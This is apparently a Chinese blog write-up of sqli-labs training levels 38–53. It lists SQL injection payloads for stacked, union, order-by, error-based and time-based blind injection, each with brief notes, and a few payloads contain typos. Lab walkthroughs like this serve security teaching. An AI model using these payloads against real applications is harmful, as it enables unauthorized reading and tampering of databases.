sqli-labs 38-53关卡

less 38

“基于字符型的堆叠注入”
Payload:
1.?id=-1’ union select 1,database(),3 --+
同less 1
2.?id=1;CREATE DATABASE sq default charset utf8; --+ //查询id为1的用户名密码,同时创建名为sq的数据库

知识点:

  1. Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。mysqli_multi_query() 函数执行一个或多个针对数据库的查询。
  2. 在SQL中,分号(;)是用来表示一条sql语句的结束。
  3. 联合注入与堆叠注入的区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
  4. 堆叠注入具有一定的局限性。
  5. X显示数据库

less 39

“基于数字型的堆叠注入“
Payload:
?id=-1 union select 1,database(),3
同less 38
?id=1;insert into users values(17,“yyyyyyyx”,“yyyyyyyx”) --+ /插入数据/

less 40

“基于’)的盲注堆叠注入“
Payload:
?id=-1’) union select 1,database(),3 --+
同less 38
?id=1;insert into users values(17,“yyyyyyyx”,“yyyyyyyx”) --+

less 41

“基于数字型的盲注堆叠注入”
Payload:
?id=-1 union select 1,database(),3
同less 39
?id=1;insert into users values(17,“yyyyyyyx”,“yyyyyyyx”) --+ /插入数据/

less 42

“基于‘字符型的堆叠注入“
注入语句:
在password处进行注入
admin’ union select 1,database(),3 --+
在这里插入图片描述

同less 38
admin’;insert into users values(17,“yyyyyyyx”,“yyyyyyyx”) --+

less 43

“基于’)字符型的堆叠注入”
注入语句:
在password处进行注入
admin’) union select 1,database(),3 --+
admin’);insert into users values(17,“yyyyyyyx”,“yyyyyyyx”) --+
同 less 42

less 44

“基于’的堆叠注入“
使用各种特殊符号页面都不提示错误信息,无法进行报错注入。
注入语句:
在password处进行注入
1.111’ or 1–+ //万能密码。即闭合方式是单引号
2.111’; nsert into users values(17,“yyyyyyyx”,“yyyyyyyx”)–+
同 less 43

less 45

“基于’)的堆叠注入“
注入语句:
111’) or 1–+
111’); nsert into users values(17,“yyyyyyyx”,“yyyyyyyx”)–+
同less 44

less 46

“order by注入“
Payload:
1.?sort=1 / ?sort=2 / ?sort=3 / ?sort=4 //测试出sql为select * from users order by $id
2.?sort=1 desc //通过desc(降序)或asc(升序)来判断是否存在注入
3.?sort=1 and updatexml(1,concat(0x7e,database()),1) //获得数据库

知识点:

  1. 可以通过asc 和desc查看返回数据是否相同来简单判断是否存在orderby注入。
  2. order by后面可以加字段名,表达式和字段的位置,字段的位置需要是整数型。order by 后面不可以跟union。
  3. 利用报错方式:
    (1) 返回多条记录
    (2) 利用regexp
    (3) 利用updatexml
    (4) 利用extractvalue
  4. 还可以基于时间盲注

less 47

“基于‘字符串的order by注入“
Payload:
?sort=1’ //根据错误信息判断,闭合方式为单引号
?sort=1’ and updatexml(1,concat(0x7e,database()),1) --+ //获得数据库
同less 46

less 48

“数值型盲注”
因为报错关闭,所以我们进行盲注猜测
Payload:
?sort=1 and updatexml(1,concat(0x7e,database()),1) //没有反应即报错关闭
?sort=(if(length(database())>1,1,sleep(5))) //用延迟时间注入,来获得数据库长度
参考less 9

less 49

“基于‘的字符型盲注”
因为报错关闭,所以我们进行盲注猜测
Payload:
?sort=1’ and if(length(database())>1,1,sleep(5)) --+
同less 48

less 50

“数字型order by注入,堆叠注入”
Payload:
?sort=1;insert into users values(252,‘252’,‘252’); //插入数据
在这里插入图片描述

?sort=1 and updatexml(1,concat(0x7e,database()),1)   //获得数据库

同less 46

less 51

“基于‘的字符串order by注入,堆叠注入”
Payload:
?sort=1’ and updatexml(1,concat(0x7e,database()),1) --+
同less 47

less 52

“数字型注入”
报错关闭,不能进行报错注入
同less 48

less 53

“基于‘的字符串注入”
同样报错关闭,不能进行报错注入
同less 49

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值